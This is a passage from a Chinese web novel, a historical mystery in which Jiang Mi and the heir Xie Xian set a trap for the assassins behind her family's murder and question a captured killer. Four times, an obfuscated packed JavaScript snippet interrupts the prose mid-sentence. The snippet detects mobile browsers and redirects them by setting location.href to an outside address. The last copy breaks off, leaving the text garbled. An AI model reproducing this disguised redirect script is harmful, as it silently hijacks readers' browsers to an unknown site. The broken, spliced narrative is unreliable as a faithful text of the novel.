不过说来也是,姜家是商人之家,她是商人之女,从这些日子朝廷的反应,和县令的作为上都能看出这里的商人地位极低,如此残酷的杀人案得不到重视。 亦或者,凶手将杀人案压了下来。 无论何种缘由,她都要小心谨慎,如若行差踏错,等待她的就是万劫不复。 生日宴刚结束,谢衔还有很多事情要忙,姜觅不便打扰,于是同沉香一起回到居住的院落。 屋内,姜觅手里一直攥着那张有毒的手帕,脑海里面不断浮现今日发生的事情,她快速筛选今日见到的无数张脸,最后定格在将酒水洒在她身上的小厮的脸上。 现在突破口有三个,一个是小厮,另一个是林音音,最后一个是县令。 需先从小厮和林音音身上下手,今日手帕有毒无论如何跟他们脱不了干系。然后将得到的信息总和,抛出部分消息给县令,方可诈出更有用的线索。 正想着,身旁沉香问道:“姜小姐可是在想林小姐的事?” 她只是觉得屋内太过安静,又瞧姜觅眉头紧锁,一副忧思难解的模样,才主动出声,不想竟然说错了话。 姜觅摩挲着手中的手帕,心里对于谢衔派沉香监视她并不意外,她现在的身份是养在深闺的富商之女,却意外的聪明,知道一些她本不该知道的事情。谢衔怀疑她再正常不过。 不过既然提起了林音音,她确实有些不解的地方,于是问道:“你可知道林小姐最近发生了什么事?” 她这话问的没有针对性,可是她不用想就知道,像丞相这样地位的人,是不会将家事袒露在外的,这是上位者的惯性,至于人之本性,就更不好说了。 沉香思索片刻,答道:“确实有件事,听说前段时间丞相将林小姐许配给了顾将军之子顾尚武。” 姜觅闻言,敏锐地察觉到这件事的乾坤,于是但笑不语,将视线放在手中的手帕上。 手帕上面绣着鱼儿溪水。鱼儿跃出水面,方知自己居住的地方不过一方小池。 入夜,谢衔来了。 他刚进屋,简单瞥了一眼沉香,沉香会意连忙退下,走时还不忘关门,姜觅随口道:“世子调教手下的本事可真不小。” 谢衔观察着姜觅的神色,知道她并非真的计较,于是将话题转向正题,道:“你白日可是发现了什么?” 姜觅将手帕递给谢衔。 谢衔不明所以地收下,问道:“你送我这个干什么?” 姜觅暗骂这人不要脸,淡淡道:“这手帕上有毒。” 若是寻常人,听到这句话肯定忙不迭将手帕丢的越远越好,可是谢衔却还拿着,并将它送至鼻尖闻了闻,有些遗憾地发现它并没有什么味道。 姜觅没有卖关子,直接便道:“怎么说,其实手帕上面的东西并不构成毒性,但是有一种物质加入进去,两者相互融合便是剧毒。今日有小厮将酒水洒在我身上,林音音将这个手帕递给我,如果我用手帕擦拭酒水,手上立马就会粘上剧毒,不出一个时辰就会暴毙身亡。” 她并不能直接去找小厮麻烦,毕竟酒水而已,谁会相信普通的酒水会置人于死地?何况世子府里面有内鬼这是谢衔要干的事,与她无关。 谢衔显然也意识到了事情的严重性,叹道:“凶手这是想杀人于无形啊!” 姜觅道:“根据我的判断,林音音对此毫不知情,不过凶手利用林音音害我,有可能是察觉到我们正在调查他,于是想要混淆我们的视线。” 谢衔道:“照你这么说,林小姐同丞相府全然无辜。” 姜觅摇摇头,似乎陷入沉思,过了很久才道:“真相通常在我们看不到的角落,如果妄下判断,结局往往不尽人意。”甚至要付出惨烈的代价,一次足以铭记。 谢衔愣了愣,声音低沉道:“本世子觉得……姜小姐说的非常对。” 又过了几日。 不待姜觅主动去寻林音音,林音音便自己送上门来。 两人坐在院落上的石凳上,沉香在一旁伺候。 林音音刚咬一口点心,身子便控制不住地细细发抖,被呛到之后轻咳几声。 姜觅看去,瞧见她眼泪如同掉线的珍珠,咬着唇,拼命抑制着泣音。 姜觅大抵能猜出是什么事,林音音递手帕只是小小的善意,却在这个人生地不熟的地方给她温暖,她做不到装聋作哑。 于是她轻柔地问道:“林小姐,能不能告诉我,究竟发生什么事了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471377|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林音音犹豫再三,还是说了出来。 姜觅自然听懂了,大概就是林音音已有心悦之人,可是丞相要将她许配给顾尚武。 林音音颤抖地抓着姜觅的衣袖一脚,哽咽道:“姜姐姐,如果是你,你会怎么做?” 姜觅定定地看着她,坚定而又温柔地说道:“林小姐,你只需记住,你自己的人生,旁人无法为你做决定。” “你要想清楚自己究竟想要什么。”然后沿着这个方向去做。 姜觅的话在林音音耳畔不断回荡,她失魂落魄地离开,要不是婢女扶着她,早不知摔倒多少回。 林音音走后,又有一人来找姜觅,此人正是知道姜觅入住世子府消息的艾花。 彼时姜觅正在用膳,听沉香通报之后命她将艾花带来。 艾花在屋外踌躇半天,方才进来。 看着桌上琳琅满目的吃食,她难免觉得心酸,明明上了三十岁的年纪,却还是无助地哭了起来。 姜觅能理解所有人的情绪,她见过各种人哭泣,唯独女人的眼泪最叫她心软。 艾花是一个心善的人,那么多天都对她无微不至地照顾,尽管时常站在她面前欲言又止。 艾花道:“跟我走吧,姜小姐。” 姜觅知道她这是在外面听到什么闲话了,于是道:“姐姐,我在世子府过的挺好的。” 艾花泪眼婆娑,道:“你那天出去之后,我找了你很多天可是都没有找到。今天出去摆摊,才知道你在世子府。街上很多人都在说,说世子看上你了,要纳你为妾!” “你是姜老爷的女儿,我怎么能眼睁睁看着你自毁余生!” 说着,她上前一把拉住姜觅的手,坚定道:“走,跟我回家。” 姜觅能意识到,艾花在她看不到的地方默默成长,现在已经可以来世子府抢人了,不过她不能走。 恐怕她刚回到艾花家,不出两日凶手便找上门来。 她摇摇头,坐在椅子上不动,吩咐沉香:“去为姐姐准备一副碗筷来。” 沉香领命离开。 屋内只剩姜觅同艾花两人。 艾花松开了手,站在一旁默默地哭泣。 姜觅叹了口气,解释道:“我同谢衔只不过是合作关系。姜家的案子我不能不查,我也不能害了你们母女。” 艾花立马停止哭泣,反应半天才愣愣道:“真的?” 姜觅笑道:“真的。” 艾花得到肯定才放下心来,随即突然想到了什么,颇为心虚地看着姜觅。 姜觅有所察觉,何况有一事她始终不解。 虽然大堂那日陈平陷害她,可是陈平有一话不假,原主确实在事发前几天与姜老爷发生极大的争执,并且离家出走。 她在艾花家住的那几天,在艾花的梳妆镜前发现了一根金簪,显然不是艾花自己能买得起的。 再结合事发当天,她打开艾花家的大门,告知对方姜家没了,对方的神情惊讶之余,还有掩藏在眼底的沉痛。 如此说来,原主与姜老爷的争执或许同艾花有关系。 5. 请君入瓮 像是证实她的想法,艾花抽噎着说出了她的内疚:“如果不是我,那个陈平也没有办法冤枉你。” 姜觅知道艾花这是将责任都推到自己身上,连忙安抚道:“姐姐,就算事发前我没有同父亲争吵,他们也会找到别的借口冤枉我。” 这话确实不假。她活下来,县令就有无数种办法将帽子扣在她身上。 她清醒地知道,那天在县衙,若是谢衔不在,那个县令恐怕会将她押进牢里施以重刑,想要屈打成招。 她从不妄自菲薄,如今自己的身份是无依无靠的孤女,能抓住世子当靠山是她的本事。 她想起那段丢失的记忆,道:“姐姐,我有点记不清我为何同父亲争吵了,是与你有关吗?” 艾花一惊,楞然地盯着她,梦呓道:“记不清了……” 她似乎有些难以启齿。 姜觅突然想到,艾花是一个寡妇,带着自己的女儿在京城生活,并不容易。 姜老爷心善,在京城接济的可怜之人不在少数,艾花并不是最特别的那个。可是两人一来二去,难保不会产生感情。 原主母亲去世的早,姜老爷十几年都未续弦,就算碰到心爱的人,也因疼爱女儿、不忍女儿伤心而欺瞒原主。 而就在姜家灭门案事发前几日,原主撞见姜老爷同艾花的私情,一时接受不了同姜老爷争执,才在县令那里落下把柄。 艾花的眼眶红红的,眼神里面写满了愧疚与自责,在知道姜觅不记得的情况下还是选择了实话实说:“我和你父亲……姜老爷对我和云儿很好,我很感激他,从来都不奢求一个名分,那日被你撞见是一个意外。” “那天你和姜老爷的争吵我都听到了,从那之后我就刻意远离姜老爷,只是没有想到,那是我和他最后一次见面。” 说着,艾花的眼泪又不争气地流下。 她知道自己软弱,明明一把年纪了却还是动不动哭泣。 姜老爷那么好的人,别人找他借钱他肯定会借的,怎么会因为贼人偷窃不成就恼羞成怒杀了姜家上下所有人呢? 她知道这背后必有阴谋,却不能为姜家做点什么。 姜小姐是姜老爷的女儿,她不仅没能力保护姜小姐,还要姜小姐独自走在最前面寻找凶手,姜老爷泉下有知怕是会对她失望。 姜觅大致知道整个情况,沉默片刻,伸出胳膊拉起艾花因为干活而粗糙长茧的手。 艾花看着两个人相触的指尖,眼泪挂在脸上,瞳孔慢慢扩大。 姜觅道:“或许之前我还会计较,但是现在我不会了。每个人都有追求福泽和寻找良人的权利,你也不例外。” 她在原主那点模糊的记忆里,能感受到原主的情绪。或许原主重回姜府后已经不计较了,可是还不待她将话说开,也不待姜老爷将艾花迎进门,姜老爷就没了,成为永远的遗憾。 姜家被灭门,真正的姜小姐已经死了,活下来的是二十一世纪的她,或许整事件中,伤害的只有艾艾花一个人,可她的女儿还那么小,她不能自怨自艾。 艾花有些迟疑:“可是……” 姜觅道:“过去的事情已经过去了,再怎么样都无法挽回,我们能做的只有为那些无辜死去的人讨回一个公道。” 艾花看着姜觅,神情有些恍惚。 在她的记忆中,姜小姐是一个养在深闺有些娇气的大小姐,原来在她看不到的地方,姜小姐已经成长为如今能够独当一面的人儿了。那么她呢,她还要拖后腿吗? 艾花咬唇,唇上的疼痛让她无比的清醒,她的声音好像是从灵魂肺腑里发出来的:“你说的对,姜小姐。” 这时,沉香终于将碗筷拿来了。 她将碗筷摆在艾花面前,紧接着恭敬地对姜觅说道:“奴婢在路上不小心耽搁了。” 姜觅方才是故意将沉香支开的,沉香也是一个聪明人,不会不知道姜觅的用意,甚至过了这么久才回来,留给姜觅同艾花私聊的时间。 姜觅道:“无事。” 艾花早就用袖子抹干净眼泪,勾起有些牵强的笑容,不将脆弱暴露在外人面前。 随后,姜觅同艾花一起用膳。 用膳完毕,艾花便要离开。 临走时,姜觅出声道:“今天晚上不要休息,在屋子里面保护好自己。” 艾花愣了愣,但是很快答应道:“好。” 姜觅莞尔一笑,道:“姐姐不问为什么?” 艾花定定地看着姜觅,答道:“我相信姜小姐。” 艾花走后,姜觅没有着急回屋,在椅子上多坐了会儿。 她还来不及陷入沉思,便听身旁沉香道:“姜小姐,奴婢刚刚在拿碗筷的时候,听到有下人在讨论一件趣事。” 她没有接着说下去,似乎很期待姜觅的反应。 很可惜,姜觅面色平静,似乎对这件事没有任何兴趣。 倒是沉香耐不住性子,率先说道:“林小姐同人私奔了!就在她找您诉说,离开世子府之后。” 当时姜觅和林音音说话的时候她也在旁边,姜觅说的话让她深感震撼,只是没有想到的是,林小姐居然真的选择私奔!私奔的对象还是一个下人! 姜觅似乎对这件事情并不意外。 以现代人的角度来看,林音音是典型的众人眼里的乖乖女,从小到大都循规蹈矩,可是恰恰是这样的人,有时候做的事情却胆大得让人意想不到。 何况那日,她身份尴尬,贵女都对她避之不及,只有林音音施以援手给她手帕,可见她柔软乖顺的外表之下有一套自己的原则。 姜觅意味不明道:“你觉得,林小姐是因为我的三言两语做出的决定么?” 这句话将沉香问到了。 世子将姜小姐带进府,她以为姜小姐同先前的那些女人没什么区别,也很好奇世子为什么这么重视姜小姐,可是现在,她忽然有些明白了。 这位姜小姐可真是位妙人。 沉香没有回答,于是姜觅一句话继续点醒她:“或许没有我的话,林小姐也会做出对于她而言正确的选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471378|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这句话深深触动了沉香的心弦,就连谢衔来了她都没注意到。 谢衔刚进来就看见沉香表情呆滞地站在姜觅身边,内心一阵狐疑,不过面上依旧气定神闲,将衣袖一甩,坐在姜觅身旁。 两人挨得很近。 姜觅不动声色地往旁边移了移,被谢衔敏锐地察觉到,仿佛随口问道:“姜小姐好像很讨厌本世子的亲近?” 沉香这才注意到这里多了一个人,意识到自己的失态,忙行礼道:“世子。” 谢衔将手轻轻抬起,随意一摆,示意沉香退下。 沉香领命,踉跄着离开了。 姜觅早已习惯谢衔偶尔的不正经,毫不留情地揭穿道:“世子,你是民女的恩人,民女感激不尽。在这里没有外人,你没必要这样做。” 谢衔冷哼一声,知道姜觅这是嫌他装模作样了,眼神直勾勾地盯着姜觅的脸,声线醇厚且磁性道:“姜小姐应该知道,随意揭穿别人的面具是怎样的后果。” 他这话暗含警告。 他能给姜觅一个稳定的靠山,并且由衷地欣赏她,可是并不代表对方可以踩在他的底线上行走。 姜觅掀开眼皮,笑意从眼底漾开,方才的冷淡好像才是假象,柔声道:“世子误会了,民女可不敢这么做呢。” 谢衔闻言,说不出自己是什么滋味,明明这个答案是他想要的,可是内心就是空落落的,于是语气生硬地将话题转向正题,道:“今晚的事情,我已经派人安排好了。” 姜觅颔首,道:“接下来,就是请君入瓮了。” 夜渐渐暗下去,京城街道一片寂静。 艾花家就在县衙不远处,东街的最深处,这里居住的百姓并不算多,大多都和艾花一样是摆摊子做些小生意的人。 姜觅和谢衔站在艾花家对面的小巷里面。 他俩已在这里静候两个时辰,不,不止有他们两个人,还有谢衔的手下。 手下们分布在艾花家的各个方位,只等谢衔一个手势,立马群起而发。 已经等待这么久,姜觅和谢衔都没有任何不耐烦,反而仔细而认真地注视着不远处的黑暗,时刻保持着警惕,只要一有动静就立马开始行动。 还好,那群人并没有让他们失望。 不知过了多久,黑暗里面闪现出几道黑色人影,他们行走速度极快且没有发出任何声音。 谢衔一个抬手,时刻关注着这边的手下收到命令,朝那群黑衣人奔去。 姜觅不可能站在这里看着,于是道:“我们先进去。” 谢衔颔首。 于是,他们俩在黑暗中摸进艾花家。 艾花今日并没有栓门。 姜觅刚进屋,就看到一个黑衣人站在庭院内,而庭院角落里,艾花死死地抱住艾云,颤抖着身躯止不住地摇头。 她一惊,杀手这是做了两手准备,一群人引开谢衔手下,另一个人偷偷潜入艾花家。 姜觅毫不犹豫地走上前,速度快到谢衔根本来不及阻止。 6. 暗通曲款 谢衔从未见过如此大胆的人,刺客残忍的作案手法他们记忆犹新,如今黑衣人朝着角落步步紧逼,就连他也要权衡利弊才敢动作。 一眨眼的功夫,姜觅站在艾花母女身前。 艾花抱着艾云,艾云不是那种淘气的小姑娘,她能感受到外界的危险,但是不哭不闹,眼睛瞪得溜圆,显得可怜又无辜。 艾花仰起头,看着挡在自己身前的姜觅,惊呼声被她硬生生憋在嗓间,颤抖着手臂抱着艾云沿着墙壁往门外跑。 她现在不能留在这里,成为姜小姐和世子的累赘。 尽管,她手里有那个东西,这群人不会放过她。 她走的越远越好! 艾花走后,院落里只剩他们三人对峙。 黑衣人见目标逃走,将视线放在姜觅身上,却在看清姜觅的脸时明显一怔,反应过来后自己已经来到姜觅身后,手拿铁钩,以最尖锐的地方架在她的脖子上。 谢衔的心猛地一紧,不禁捏紧手里的剑柄。 明明性命掌握在别人手里,姜觅却显得格外冷静,云淡风轻的模样,仿佛被挟持的人是谢衔,而不是她。 谢衔眼神冷冽地看着黑衣人,道:“放开她,我放你走。” 黑衣人却没答话,以铁钩架着姜觅朝门外走去。 谢衔慢慢移动步子,给黑衣人让路。 姜觅和黑衣人紧贴,能明显感受到黑衣人浑身肌肉紧绷。他戴着一张黑色獠牙面具,遮盖住半张脸,额头青筋凸起。 这是人在高度戒备下有才的反应,黑衣人这是忌惮谢衔。 姜觅的肩膀被黑衣人掐得生疼,就连脖间也不能幸免,原主从小娇生惯养,因此肌肤滑嫩白皙,那铁钩刚挨上脖间,就划出一道血痕,疼痛如亿万只蚂蚁啃噬,丝丝入骨。 黑衣人架着姜觅来到门前,谢衔又缓步靠近,但始终与他们保持三尺远的距离。 正当黑衣人松开对姜觅的桎梏,姜觅伸手拔出头上的簪子,用力扎进黑衣人的肩上。 黑衣人吃痛,下意识地将铁钩放出,被谢衔一剑打掉。 铁钩变了方向,狠狠砸进庭院的一棵老树上,像钉子一样深深嵌入树干,一时枝叶摇晃,树叶飘落。 黑衣人转身想要逃跑,姜觅像是提前预判般,伸出脚成功将黑衣人绊倒。 黑衣人趴在地上,谢衔居高临下,剑指脖间。 黑衣人反而看向姜觅,眼眸如星辰,又含有淡淡忧郁。 这时,手下们破门而入,见此局面,连忙上前将黑衣人制服。 其中一名手下上前禀报道:“主上,让他们给跑了。” 谢衔淡淡扫了手下们一眼,不怒而威。 手下们各个颔首低眉,心里惴惴不安。 良久,谢衔道:“回去各领二十大板。” 手下们这才松了口气。 紧接着,谢衔吩咐道:“将他押入地牢,时刻防止他自尽。” 手下们收起匕首,拱手领命道:“是。” 树叶还在落。 绿色的叶子来不及变黄,一阵狂风袭来,在空中肆意飘舞。 姜觅闭着眼,靠在门樘上细细喘气,额间早已冒出冷汗,发丝黏在额间和鬓角,平添几分娇弱之美。 可谢衔知道,姜觅不是空有美貌的花架子,也不是只懂横冲直撞的糊涂鬼。方才上前,一是救艾花母女,二是擒住刺客。 谢衔被姜觅脖间鲜艳刺眼的那抹红给吸引,走上前时情不自禁地伸手抚上去,声音极轻地问道:“疼么?” 姜觅想说这算什么,她受过伤比这重得多。她不怕受伤,只怕真相蒙尘,无辜之人惨死。 可当她抬眸与谢衔对视,就一句话也说不出来。 谢衔眼里一片猩红,带有说不清道不明的执念,平静与疯狂在他脸上同时显现。 姜觅能准确判断出这是某种应激反应。 她与谢衔合作,清楚谢衔对此案的关注,如今看来谢衔关注的背后颇有渊源。 她无意探究别人过往,于是语气轻柔道:“我没事。” 谢衔似乎也意识到自己反应过激,只片刻就冷静下来,收回触摸姜觅脖间的那只手。 他将那只手背在身后,指尖摩挲。 空气一片静默,正当姜觅抬起脚准备离开,就听身后谢衔幽幽道:“方才瞧见黑衣人的神情,他似乎认识姜小姐。” 姜觅脚步顿了顿。 早在她挡在艾花母女面前,她与那黑衣人对视,她就总觉得眼前这人十分眼熟。 随后她忽然忆起陈平的话,陈平曾说亲眼瞧见原主与一黑衣人说话,她当时记忆模糊不能分辩。 可当她瞧见黑衣人的眼,那些模糊的记忆瞬间变得清晰。 原主认识这个黑衣人。 姜觅笑了笑,反问道:“世子这是在怀疑我?” 谢衔毫不掩饰自己的怀疑,审视的眼神扫视着姜觅,最终只道:“不过是实话实说,姜小姐明知道本世子不会因这件事放弃与你合作,何必这么咄咄逼人?” 正如谢衔的一切瞒不住姜觅的眼睛,谢衔也对姜觅了如指掌,他们打了好几个来回,在暗地里争锋,不会不了解彼此。 姜觅道:“世子言重了。” 说完,她转身离去。 * 艾花母女不见了。谢衔的人找遍全京城都没有找到她们的踪影。 昨晚睡的很晚,姜觅睡到日上三竿才起身,她刚洗漱完推开内室大门,就瞧见谢衔坐在圆红木凳子上悠闲地品茶。 也是,谢衔空有世子头衔,却无实职,不必上早朝,自然乐得清闲。 当谢衔跟姜觅提起没寻到艾花母女的事,姜觅有片刻慌神,可是仔细思考过后,道:“他们或许藏在哪里,不想让我们找到。” 谢衔意外抬眉。 他以为姜觅乍一听到这个消息会惊慌,没想到跟他想到一块去了。 姜觅分析道:“昨晚如果是单纯逃跑,往世子府跑最为恰当,就算临时找了一处躲避,白日也会来世子府寻我,断不会出现找不到的情况。至于刺客那边,昨晚那黑衣人被生擒,凶手那边暂时不会轻举妄动。” 按照她的推断,凶手是很狂妄,敢在京城直接动手,灭姜家满门,杀陈平一家灭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471379|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,可同样很谨慎,他杀的这些人都是不会威胁到上位者利益的小人物。 她住在世子府,就算凶手想要动她,也只能使阴招。 姜觅收起思绪,认真对谢衔道:“不过还要拜托世子不要放弃寻找。” 谢衔道:“这是自然。” 这时,谢衔的手下进门,半跪在谢衔左前方,此人正是昨日上前禀报的那名手下。 谢衔向姜觅介绍道:“此人名叫唤疑,是他们的首领。” 姜觅点点头,她总觉得她待在这不太合适,可是这里是她的居所,应该叫谢衔离开才对,可谢衔好像黏在凳子上,动都不动一下。 她只得硬着头皮坐在这。 只听唤疑道:“主上,那人什么都不肯说,属下动用重刑也是不肯吭声。” 谢衔冷笑:“真是养的好狗。” 说完,他起身,似乎准备亲自会会这个人。 姜觅也跟着起身,道:“世子,不如让我试试。” 谢衔脚步停下,侧身看向姜觅,微不可见地皱眉,但还是答应了。 倒是唤疑在一旁欲言又止,看向姜觅的眼神里不含善意。 三人一起来到那个所谓的地牢。 地牢位于谢衔的寝室正下方,只需按动一个机关,寝室里面一幅宽大山水画自动收起,暗门打开,走进去才能发现里面别有洞天。 一层层阶梯往下,唤疑拿着火把走在最前方,火光将黑暗劈开。 三人走了大概一炷香的时间,方才进入真正的地牢。里面像监狱一样左右各三个牢房,中间一个巨大铁铸十字架,铁链将黑衣人牢牢捆在十字架上。 姜觅来时,手下正拿鞭子抽打黑衣人。鞭子已将黑衣人的衣服抽烂,暴露出线条分明的古铜色肌肉,然而已经皮开肉绽,毫无美感。 黑衣人的面具早被拿下,露出一张棱角分明又有些黢黑的脸。 唤疑上前,不知对那手下说了什么,那手下收了鞭子便走。 姜觅走上前,直视着黑衣人。 “我好像一直没有问你,你叫什么。”她搜索着原主的记忆,尽管这个人出现过很多次,但是从始至终都没有称谓。 黑衣人咳出一口血出来,嘶哑着声音道:“迷青。” 他现在已经极为虚弱,脸色惨白,眼神空洞地看着姜觅,失神的眼睛慢慢聚焦,勉强辨认出眼前这人是谁。 唤疑听到黑衣人说话,震惊得眼睛都瞪大了,忙对谢衔发誓道:“主子,属下保证,方才手下们轮番审问时,这货一句话都不肯说!” 姜觅看着迷青,眼里闪烁着泪花,声音带着浓浓的失望:“迷青,我曾对你有恩,你却杀死了我的父亲。” 此话一出,谢衔双眸凛冽地盯着迷青,似乎要将他盯出一个洞来,唤疑则一副原来如此的表情,手拿匕首,随时准备将姜觅拿下。 他惊呼:“主上,他们是一伙的!” 谢衔揉了揉眉骨,格外嫌弃地瞧了眼唤疑,冷声道:“再一惊一乍就跟本世子滚出去。” 唤疑只能闭嘴。 谢衔饶有趣味地看着姜觅继续表演。 7. 可乘之隙 不过要令谢衔失望了,姜觅此次并不算做戏。 每个人都有弱点,可迷青不是那种心防极弱之人,直陈其事才是上策。 她说那句话,不过是想告诉迷青,自己已经记起他是谁。 迷青轻轻扯下唇,自嘲一笑,几乎是气音道:“姜小姐,我的命早就不是我自己的了。” 他说这话时,目光飘来飘去,就是没有直视姜觅。 姜觅不留余地地揭穿道:“刚刚你本来有机会杀掉我再直接离开,可是你没有。还有,不要再说这种话了,自己的命,断没有给别人的道理。” 这个迷青,根据原主的记忆,似乎是原主一家刚搬来京城还是个小姑娘的时候,看到路边有两个小孩在乞讨,于是上前给了几两银子。 从那之后,原主每隔一段时间上街都会来寻这两个乞丐,给点银子或者吃食,直到某一日,这两个乞丐不见了。 再后来,就是原主同姜父争执之后离家出走,一个人走在人满为患的街上,黑衣人突然出现一把将原主拉到无人的地方,告诉原主务必离开京城,永远不要回到这个地方。 然而,原主还是选择回姜家。 迷青摇摇头,道:“抱歉,你们想知道的,我不能告诉你们。” 姜觅和谢衔尚未说话,唤疑没忍住上前踢了黑衣人一脚,道:“你这话什么意思,嫌命不够长是不是?” 这群刺客杀人无数,这次姜家灭门案惨绝人寰。要不是还有利用价值,他恨不得手刃这人! 只听清脆一声,黑衣人腰间的白色物件掉到地上。 唤疑不耐烦地弯腰捡起那物件,然而刚将物件握在手里,定睛一看,整个人都傻了。 迷青死死地盯着那枚玉佩,用嘶哑的声音粗吼道:“还给我!” 边说着,他开始剧烈地挣扎,身上的伤口尽数裂开,血液浸湿黑衣,滴答滴答地流在地上。 唤疑反应过来,将那玉佩往迷青腰间一塞,道:“还给你!谁稀罕你这破玉佩。” 唤疑生得白净,眉眼温润,看起来没什么攻击性,性格却十分冲动。 姜觅的眼神在这两人之间徘徊,唤疑的反应不对劲,这是毋庸置疑的,至于迷青,恐怕现在还没有反应过来。 她没有同唤疑一起装糊涂的打算,何况看样子,迷青十分重视这枚玉佩,这或许是唯一可乘之隙。 思及此,她看向谢衔,笑语盈盈道:“世子,先前你还没向我详细介绍过唤疑呢,不知他身世如何,父母健在?” 唤疑是谢衔一手培养的手下,姜迷能发觉不对劲,谢衔自然也能注意到,道:“唤疑原在京城西门流浪,那日本世子途径此地,他瞧我衣着华贵,便说要同我做交易……让我想想,说是要将命给我,只求让我请人医治他哥哥。” 姜觅问道:“原来如此,世子可真是个大善人。那么他哥哥后来活下来了么?” 谢衔故作愁态,悠悠叹了口气,道:“唤疑带着我去他们平常乞讨的那条街时,他哥哥突然消失不见。” 姜觅恍然大悟道:“我想起来了,我第一次瞧见迷青时,也在京城西门那条路上!这么巧呢。” 两人毫不避讳地当着唤疑跟迷青的面,说话有来有回。 唤疑不是傻子,当即红了眼眶。 他慢慢捏紧拳头,蓄力之后一拳打在迷青的颧骨上,迷青全身一晃,铁链哗啦作响。 唤疑边对迷青拳打脚踢,边狠声咒骂道:“为什么!你杀了这么多无辜的人!为什么!” 姜觅早想到唤疑会有怨气,可是毕竟没有亲身体会,没有料到唤疑怨气这么重,再多来几下,恐怕迷青要被活活打死,于是伸出胳膊阻拦道;“唤疑,你冷静一点。” 唤疑也很想冷静,可他冷静不下去。他记忆以来第一次流泪,热泪夺眶而出,像断了线的风筝一发不可收拾。 他差点误伤姜觅,却在下一秒被谢衔踢到地上。 迷青垂着头,气若游丝。 唤疑趴在地上,看着奄奄一息的迷青,竟怎么都恨不起来,喃喃道:“为什么,你杀了那么多无辜之人,却是我哥哥。” 姜觅听到唤疑终于喊出来那声哥哥,才将心放回肚子里,用眼神问谢衔:“现在迷青怎么办?” 谢衔朝她摇摇头,一副“莫要慌张,一切尽在掌握之中”的表情,对唤疑说道:“不如本世子杀了迷青,也当迷青向你赎罪。” 唤疑摇头,回绝道:“不。” 随后,他意识到迷青现在的情况岌岌可危,连滚带爬地来到迷青身边,慌里慌张道:“对不起我,我刚刚太生气了,怎么办……” 谢衔忽的笑了,他之前一直觉得唤疑能力不容置疑,做事却不沉稳,这回他该长教训了,开口吩咐道:“去请顾大公子来。” 唤疑听到这句话时好像整个人都恢复了力量,连忙起身道:“是。” 他匆匆离去,好像死神在身后追赶。 谢衔看着浑身是血的迷青,打了个响指,不一会儿就有两个侍卫来到此处,解开迷青身上缠绕的铁链,将迷青架去偏房。 姜觅和谢衔跟在身后。 “姜小姐观察力惊人,着实令本世子惊叹。” 在路上,谢衔如此说道。 姜觅总觉得这人在没话找话,道:“世子,我观察力惊人,你不是早在县衙就见识到了么?” 她和谢衔从本质上来说就是相互利用。 谢衔觉得她厉害,又是灭门案唯一幸存者,同他在一条路上。而她呢,初来乍到,又有凶手追杀和官府构陷,需要世子府这个巨大的靠山。 谢衔勾唇笑道:“确实如此。” 两人站在床榻边,此时迷青已被婢女照料着擦去污血,不过好几处伤口极深,还在渗血。 不多时,唤疑领着一白衣男子走进来。 白衣男子不是别人,正是顾家大少爷,顾尚武,林音音的那个聘夫。 顾尚武来时随手带了药箱。 他来时也不说话,只朝谢衔简单点了下头,随后打开药箱,为迷青疗伤。 姜觅倒觉得十分有趣,顾尚武是顾将军的儿子,却精通医术。 顾尚武先是处理了迷青身上的伤口,上药包扎之后为迷青把脉,神色愈加凝重。 等他把完脉,眉头已经皱成八字。 唤疑看在眼里,仍是问道:“他情况怎么样?” 顾尚武答道:“身上的伤养些时日也就好了,可是体内的毒素,我从未见过,若是没有解药,恐怕撑不过半月。” 唤疑一听急得不行,可他不能拿医师出气,于是俯身半跪在床榻上,赶走了那群照料迷青的婢女,自己拿面巾为迷青擦脸。 谢衔问道:“可有解法?” 顾尚武摇摇头:“恕我才疏学浅,这毒我解不了,就算此时开始研究解法,他的身体也支撑不到解药研制出的那日。” “那怎么办!?”唤疑有些激动地问道。 顾尚武从始至终板着脸,木声道:“临安有一神医,名叫知白,外号活阎王,可以从阎王爷手里抢人。你们要救他,或可找知白神医。” 唤疑看向谢衔。 谢衔波澜不惊地吩咐道:“唤疑,送顾少爷回府。” 唤疑犹豫地瞅了眼床榻上痛苦闭着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 